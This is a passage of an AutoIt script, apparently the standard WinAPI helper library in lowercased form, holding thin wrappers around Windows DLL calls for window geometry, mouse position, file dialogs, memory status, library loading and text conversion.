    Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
 
Func _winapi_getclientwidth($hwnd)
    Local $trect = _winapi_getclientrect($hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
 
Func _winapi_getclientrect($hwnd)
    Local $trect = DllStructCreate($tagrect)
    DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "ptr", DllStructGetPtr($trect))
    If @error Then Return SetError(@error, @extended, 0)
    Return $trect
EndFunc
 
Func _winapi_getcurrentprocess()
    Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getcurrentprocessid()
    Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getcurrentthread()
    Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getcurrentthreadid()
    Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getcursorinfo()
    Local $tcursor = DllStructCreate($tagcursorinfo)
    Local $icursor = DllStructGetSize($tcursor)
    DllStructSetData($tcursor, "Size", $icursor)
    DllCall("user32.dll", "bool", "GetCursorInfo", "ptr", DllStructGetPtr($tcursor))
    If @error Then Return SetError(@error, @extended, 0)
    Local $acursor[5]
    $acursor[0] = True
    $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
    $acursor[2] = DllStructGetData($tcursor, "hCursor")
    $acursor[3] = DllStructGetData($tcursor, "X")
    $acursor[4] = DllStructGetData($tcursor, "Y")
    Return $acursor
EndFunc
 
Func _winapi_getdc($hwnd)
    Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getdesktopwindow()
    Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getdevicecaps($hdc, $iindex)
    Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
    Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_getdlgctrlid($hwnd)
    Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getdlgitem($hwnd, $iitemid)
    Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getfocus()
    Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getforegroundwindow()
    Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
    If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
    Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_geticoninfo($hicon)
    Local $tinfo = DllStructCreate($tagiconinfo)
    DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "ptr", DllStructGetPtr($tinfo))
    If @error Then Return SetError(@error, @extended, 0)
    Local $aicon[6]
    $aicon[0] = True
    $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
    $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
    $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
    $aicon[4] = DllStructGetData($tinfo, "hMask")
    $aicon[5] = DllStructGetData($tinfo, "hColor")
    Return $aicon
EndFunc
 
Func _winapi_getfilesizeex($hfile)
    Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[2]
EndFunc
 
Func _winapi_getlasterrormessage()
    Local $tbufferptr = DllStructCreate("ptr")
    Local $pbufferptr = DllStructGetPtr($tbufferptr)
    Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $pbufferptr, 0, 0)
    If @error Then Return SetError(@error, 0, "")
    Local $stext = ""
    Local $pbuffer = DllStructGetData($tbufferptr, 1)
    If $pbuffer Then
        If $ncount > 0 Then
            Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
            $stext = DllStructGetData($tbuffer, 1)
        EndIf
        _winapi_localfree($pbuffer)
    EndIf
    Return $stext
EndFunc
 
Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
    $i_transcolor = -1
    $transparency = -1
    Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    If NOT $ascolorref Then
        $aresult[2] = Hex(String($aresult[2]), 6)
        $aresult[2] = "0x" & StringMid($aresult[2], 5, 2) & StringMid($aresult[2], 3, 2) & StringMid($aresult[2], 1, 2)
    EndIf
    $i_transcolor = $aresult[2]
    $transparency = $aresult[3]
    Return $aresult[4]
EndFunc
 
Func _winapi_getmodulehandle($smodulename)
    Local $smodulenametype = "wstr"
    If $smodulename = "" Then
        $smodulename = 0
        $smodulenametype = "ptr"
    EndIf
    Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
    Local $imode = Opt("MouseCoordMode", 1)
    Local $apos = MouseGetPos()
    Opt("MouseCoordMode", $imode)
    Local $tpoint = DllStructCreate($tagpoint)
    DllStructSetData($tpoint, "X", $apos[0])
    DllStructSetData($tpoint, "Y", $apos[1])
    If $ftoclient Then
        _winapi_screentoclient($hwnd, $tpoint)
        If @error Then Return SetError(@error, @extended, 0)
    EndIf
    Return $tpoint
EndFunc
 
Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
    Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return DllStructGetData($tpoint, "X")
EndFunc
 
Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
    Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return DllStructGetData($tpoint, "Y")
EndFunc
 
Func _winapi_getobject($hobject, $isize, $pobject)
    Local $aresult = DllCall("gdi32.dll", "int", "GetObject", "handle", $hobject, "int", $isize, "ptr", $pobject)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
    Local $ipathlen = 4096
    Local $inulls = 0
    Local $tofn = DllStructCreate($tagopenfilename)
    Local $afiles[1] = [0]
    Local $iflag = $iflags
    Local $asflines = StringSplit($sfilter, "|")
    Local $asfilter[$asflines[0] * 2 + 1]
    Local $istart, $ifinal, $stfilter
    $asfilter[0] = $asflines[0] * 2
    For $i = 1 To $asflines[0]
        $istart = StringInStr($asflines[$i], "(", 0, 1)
        $ifinal = StringInStr($asflines[$i], ")", 0, -1)
        $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
        $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
        $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
    Next
    Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
    Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
    Local $tfilter = DllStructCreate($stfilter & "wchar")
    Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
    Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
    For $i = 1 To $asfilter[0]
        DllStructSetData($tfilter, $i, $asfilter[$i])
    Next
    DllStructSetData($ttitle, "Title", $stitle)
    DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
    DllStructSetData($tpath, "Path", $sdefaultfile)
    DllStructSetData($textn, "Extension", $sdefaultext)
    DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
    DllStructSetData($tofn, "hwndOwner", $hwndowner)
    DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
    DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
    DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
    DllStructSetData($tofn, "nMaxFile", $ipathlen)
    DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
    DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
    DllStructSetData($tofn, "Flags", $iflag)
    DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
    DllStructSetData($tofn, "FlagsEx", $iflagsex)
    DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "ptr", DllStructGetPtr($tofn))
    If @error Then Return SetError(@error, @extended, $afiles)
    If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
        For $x = 1 To $ipathlen
            If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
                DllStructSetData($tpath, "Path", "|", $x)
                $inulls += 1
            Else
                $inulls = 0
            EndIf
            If $inulls = 2 Then ExitLoop
        Next
        DllStructSetData($tpath, "Path", Chr(0), $x - 1)
        $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
        If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
        Return StringSplit(DllStructGetData($tpath, "Path"), "|")
    ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
        $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
        If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
        Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
    Else
        Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
    EndIf
EndFunc
 
Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
    Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
    If @error Then Return SetError(@error, @extended, False)
    $ibytes = $aresult[3]
    Return $aresult[0]
EndFunc
 
Func _winapi_getparent($hwnd)
    Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getprocessaffinitymask($hprocess)
    Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Local $amask[3]
    $amask[0] = True
    $amask[1] = $aresult[2]
    $amask[2] = $aresult[3]
    Return $amask
EndFunc
 
Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
    Local $ipathlen = 4096
    Local $tofn = DllStructCreate($tagopenfilename)
    Local $afiles[1] = [0]
    Local $iflag = $iflags
    Local $asflines = StringSplit($sfilter, "|")
    Local $asfilter[$asflines[0] * 2 + 1]
    Local $istart, $ifinal, $stfilter
    $asfilter[0] = $asflines[0] * 2
    For $i = 1 To $asflines[0]
        $istart = StringInStr($asflines[$i], "(", 0, 1)
        $ifinal = StringInStr($asflines[$i], ")", 0, -1)
        $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
        $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
        $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
    Next
    Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
    Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
    Local $tfilter = DllStructCreate($stfilter & "wchar")
    Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
    Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
    For $i = 1 To $asfilter[0]
        DllStructSetData($tfilter, $i, $asfilter[$i])
    Next
    DllStructSetData($ttitle, "Title", $stitle)
    DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
    DllStructSetData($tpath, "Path", $sdefaultfile)
    DllStructSetData($textn, "Extension", $sdefaultext)
    DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
    DllStructSetData($tofn, "hwndOwner", $hwndowner)
    DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
    DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
    DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
    DllStructSetData($tofn, "nMaxFile", $ipathlen)
    DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
    DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
    DllStructSetData($tofn, "Flags", $iflag)
    DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
    DllStructSetData($tofn, "FlagsEx", $iflagsex)
    DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "ptr", DllStructGetPtr($tofn))
    If @error Then Return SetError(@error, @extended, $afiles)
    Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
 
Func _winapi_getstockobject($iobject)
    Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getstdhandle($istdhandle)
    If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
    Local Const $ahandle[3] = [-10, -11, -12]
    Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_getsyscolor($iindex)
    Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getsyscolorbrush($iindex)
    Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getsystemmetrics($iindex)
    Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_gettextextentpoint32($hdc, $stext)
    Local $tsize = DllStructCreate($tagsize)
    Local $isize = StringLen($stext)
    DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "ptr", DllStructGetPtr($tsize))
    If @error Then Return SetError(@error, @extended, 0)
    Return $tsize
EndFunc
 
Func _winapi_getwindow($hwnd, $icmd)
    Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getwindowdc($hwnd)
    Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getwindowheight($hwnd)
    Local $trect = _winapi_getwindowrect($hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
 
Func _winapi_getwindowlong($hwnd, $iindex)
    Local $sfuncname = "GetWindowLongW"
    If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
    Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getwindowplacement($hwnd)
    Local $twindowplacement = DllStructCreate($tagwindowplacement)
    DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
    Local $pwindowplacement = DllStructGetPtr($twindowplacement)
    DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
    If @error Then Return SetError(@error, @extended, 0)
    Return $twindowplacement
EndFunc
 
Func _winapi_getwindowrect($hwnd)
    Local $trect = DllStructCreate($tagrect)
    DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "ptr", DllStructGetPtr($trect))
    If @error Then Return SetError(@error, @extended, 0)
    Return $trect
EndFunc
 
Func _winapi_getwindowrgn($hwnd, $hrgn)
    Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_getwindowtext($hwnd)
    Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
    If @error Then Return SetError(@error, @extended, "")
    Return SetExtended($aresult[0], $aresult[2])
EndFunc
 
Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
    Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    $ipid = $aresult[2]
    Return $aresult[0]
EndFunc
 
Func _winapi_getwindowwidth($hwnd)
    Local $trect = _winapi_getwindowrect($hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
 
Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
    $ix = DllStructGetData($tpoint, "X")
    $iy = DllStructGetData($tpoint, "Y")
EndFunc
 
Func _winapi_globalmemorystatus()
    Local $tmem = DllStructCreate($tagmemorystatusex)
    Local $pmem = DllStructGetPtr($tmem)
    Local $imem = DllStructGetSize($tmem)
    DllStructSetData($tmem, 1, $imem)
    DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $pmem)
    If @error Then Return SetError(@error, @extended, 0)
    Local $amem[7]
    $amem[0] = DllStructGetData($tmem, 2)
    $amem[1] = DllStructGetData($tmem, 3)
    $amem[2] = DllStructGetData($tmem, 4)
    $amem[3] = DllStructGetData($tmem, 5)
    $amem[4] = DllStructGetData($tmem, 6)
    $amem[5] = DllStructGetData($tmem, 7)
    $amem[6] = DllStructGetData($tmem, 8)
    Return $amem
EndFunc
 
Func _winapi_guidfromstring($sguid)
    Local $tguid = DllStructCreate($tagguid)
    _winapi_guidfromstringex($sguid, DllStructGetPtr($tguid))
    If @error Then Return SetError(@error, @extended, 0)
    Return $tguid
EndFunc
 
Func _winapi_guidfromstringex($sguid, $pguid)
    Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "ptr", $pguid)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_hiword($ilong)
    Return BitShift($ilong, 16)
EndFunc
 
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
    If $hwnd = $hlastwnd Then Return True
    For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
        If $hwnd = $__gainprocess_winapi[$ii][0] Then
            If $__gainprocess_winapi[$ii][1] Then
                $hlastwnd = $hwnd
                Return True
            Else
                Return False
            EndIf
        EndIf
    Next
    Local $iprocessid
    _winapi_getwindowthreadprocessid($hwnd, $iprocessid)
    Local $icount = $__gainprocess_winapi[0][0] + 1
    If $icount >= 64 Then $icount = 1
    $__gainprocess_winapi[0][0] = $icount
    $__gainprocess_winapi[$icount][0] = $hwnd
    $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
    Return $__gainprocess_winapi[$icount][1]
EndFunc
 
Func _winapi_inttofloat($iint)
    Local $tint = DllStructCreate("int")
    Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
    DllStructSetData($tint, 1, $iint)
    Return DllStructGetData($tfloat, 1)
EndFunc
 
Func _winapi_isclassname($hwnd, $sclassname)
    Local $sseparator = Opt("GUIDataSeparatorChar")
    Local $aclassname = StringSplit($sclassname, $sseparator)
    If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
    Local $sclasscheck = _winapi_getclassname($hwnd)
    For $x = 1 To UBound($aclassname) - 1
        If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
    Next
    Return False
EndFunc
 
Func _winapi_iswindow($hwnd)
    Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_iswindowvisible($hwnd)
    Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
    Local $prect = 0
    If IsDllStruct($trect) Then $prect = DllStructGetPtr($trect)
    Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "ptr", $prect, "bool", $ferase)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_lineto($hdc, $ix, $iy)
    Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_loadbitmap($hinstance, $sbitmap)
    Local $sbitmaptype = "int"
    If IsString($sbitmap) Then $sbitmaptype = "wstr"
    Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
    Local $aresult, $simagetype = "int"
    If IsString($simage) Then $simagetype = "wstr"
    $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_loadlibrary($sfilename)
    Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
    Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_loadshell32icon($iiconid)
    Local $ticons = DllStructCreate("ptr Data")
    Local $picons = DllStructGetPtr($ticons)
    Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $picons, 1)
    If @error Then Return SetError(@error, @extended, 0)
    If $iicons <= 0 Then Return SetError(1, 0, 0)
    Return DllStructGetData($ticons, "Data")
EndFunc
 
Func _winapi_loadstring($hinstance, $istringid)
    Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
    If @error Then Return SetError(@error, @extended, "")
    Return SetExtended($aresult[0], $aresult[3])
EndFunc
 
Func _winapi_localfree($hmem)
    Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_loword($ilong)
    Return BitAND($ilong, 65535)
EndFunc
 
Func _winapi_makelangid($lgidprimary, $lgidsub)
    Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
EndFunc
 
Func _winapi_makelcid($lgid, $srtid)
    Return BitOR(BitShift($srtid, -16), $lgid)
EndFunc
 
Func _winapi_makelong($ilo, $ihi)
    Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
 
Func _winapi_makeqword($lodword, $hidword)
    Local $tint64 = DllStructCreate("uint64")
    Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
    DllStructSetData($tdwords, 1, $lodword)
    DllStructSetData($tdwords, 2, $hidword)
    Return DllStructGetData($tint64, 1)
EndFunc
 
Func _winapi_messagebeep($itype = 1)
    Local $isound
    Switch $itype
        Case 1
            $isound = 0
        Case 2
            $isound = 16
        Case 3
            $isound = 32
        Case 4
            $isound = 48
        Case 5
            $isound = 64
        Case Else
            $isound = -1
    EndSwitch
    Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_msgbox($iflags, $stitle, $stext)
    BlockInput(0)
    MsgBox($iflags, $stitle, $stext & "      ")
EndFunc
 
Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
    DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
    If @error Then Return SetError(@error, @extended)
EndFunc
 
Func _winapi_moveto($hdc, $ix, $iy)
    Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
    Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_muldiv($inumber, $inumerator, $idenominator)
    Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
    Local $stexttype = "ptr", $ptext = $stext
    If IsDllStruct($stext) Then
        $ptext = DllStructGetPtr($stext)
    Else
        If NOT IsPtr($stext) Then $stexttype = "STR"
    EndIf
    Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", 0, "int", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Local $iout = $aresult[0]
    Local $tout = DllStructCreate("wchar[" & $iout & "]")
    Local $pout = DllStructGetPtr($tout)
    $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", $pout, "int", $iout)
    If @error Then Return SetError(@error, @extended, 0)
    If $bretstring Then Return DllStructGetData($tout, 1)
    Return $tout
EndFunc
 
Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
    Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "ptr", $ptext, "int", (StringLen($stext) + 1) * 2)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
    Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
    If @error Then Return SetError(@error, @extended, 0)
    If $aresult[0] Then Return $aresult[0]
